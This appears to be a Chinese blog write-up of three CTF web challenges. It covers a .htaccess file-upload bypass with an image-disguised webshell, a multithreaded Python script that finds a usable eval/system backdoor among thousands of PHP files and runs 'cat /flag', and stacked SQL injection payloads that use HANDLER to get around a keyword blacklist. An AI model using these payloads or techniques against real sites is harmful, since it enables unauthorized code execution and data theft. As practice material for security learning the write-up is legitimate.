2021-01-27

46 篇文章 0 订阅

MRCTF2020]你传你马呢

.htaccess文件简介:
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

打开apache的http.conf文件
找到的AllowOverride None,将其改为AllowOverride All

打开.htaccess文件写入:

SetHandler application/x-httpd-php
这语句的作用是让Apache将其他类型文件均以php格式解析

流程:
上传.htaccess文件
用burp修改Content-Type为Content-Type: image/jpeg

在这里插入图片描述
上传.jpg文件马
在这里插入图片描述
蚁剑连接http://xxxxx/upload/xxxxx/shell.jpg
在/目录下有flag

ps:
考虑到文件上传姿势比较多,如果一个个试很浪费时间,所以这里找了个php文件上传的字典

[强网杯 2019]高明的黑客

shell

下载下来,3000多个php文件。
在这里插入图片描述仔细看看,可以看到有GET和POST,还有eval,应该是木马脚本,那接下来就是要从3000+的脚本中找出可以使用的脚本。看看那个shell能够利用

将文件夹放在PHPstudy的网站根目录 /WWW 内,运行下面的脚本,得到文件xk0SzyKwfzw.php 和利用的 GET 参数 Efa5BVG

python代码

import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夹目录
files = os.listdir(path)  # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
    f = open(path + "/" + file);  # 打开文件
    iter_f = iter(f);  # 创建迭代器
    str = ""
    for line in iter_f:  # 遍历文件,一行行遍历,读取文本
        str = str + line

    # 获取一个页面内所有参数
    start = 0
    params = {}
    while str.find("$_GET[‘", start) != -1:
        pos2 = str.find("‘]", str.find("$_GET[‘", start) + 1)
        var = str[str.find("$_GET[‘", start) + 7: pos2]
        start = pos2 + 1

        params[var] = ‘echo("glzjin");‘

        # print(var)

    start = 0
    data = {}
    while str.find("$_POST[‘", start) != -1:
        pos2 = str.find("‘]", str.find("$_POST[‘", start) + 1)
        var = str[str.find("$_POST[‘", start) + 8: pos2]
        start = pos2 + 1

        data[var] = ‘echo("glzjin");‘

        # print(var)

    # eval test
    r = session.post(‘http://localhost:11180/web2/‘ + file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # assert test
    for i in params:
        params[i] = params[i][:-1]

    for i in data:
        data[i] = data[i][:-1]

    r = session.post(‘http://localhost:11180/web2/‘ + file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # system test
    for i in params:
        params[i] = ‘echo glzjin‘

    for i in data:
        data[i] = ‘echo glzjin‘

    r = session.post(‘http://localhost:11180/web2/‘ + file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # print("====================")

for file in files:  # 遍历文件夹
    if not os.path.isdir(file):  # 判断是否是文件夹,不是文件夹才打开
        # read_file(file)

        pool.submit(read_file, file)

跑出来以后直接查看
xk0SzyKwfzw.php?Efa5BVG=cat /flag
在这里插入图片描述

[GYCTF2020]Blacklist

堆叠注入

handler语法
句柄

handler table_name open; ... //获取句柄(表名)
handler ... read first;    //读取第一行数据
handler ... read next;  //读取下一行数据
通过它依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果
handler FlagHere close;# //关闭打开的句柄

注意:HANDLER查询性能比SELECT更好

步骤
提交 1’ 报错确定存在sql注入
在这里插入图片描述
提交 1’# 返回正常(字符注入)
提交 1’select# 返回黑名单
在这里插入图片描述
禁用了一堆东西
select被禁用,联合注入行不通
考虑堆叠注入 堆叠注入详细步骤与事项
0'; show databases; #
0'; show tables; #
1'; show columns from tables; #
爆出库名,表名,列名
由于禁用了prepare,rename
预处理方法,重命名方法都不行

试着用一下以前看到的handler语法,发现可行
payload:
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
读第一行数据,读到了flag
payload2:
1'; handlerFlagHereopen asa; handleraread next;#
依次往下读取数据。读出flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值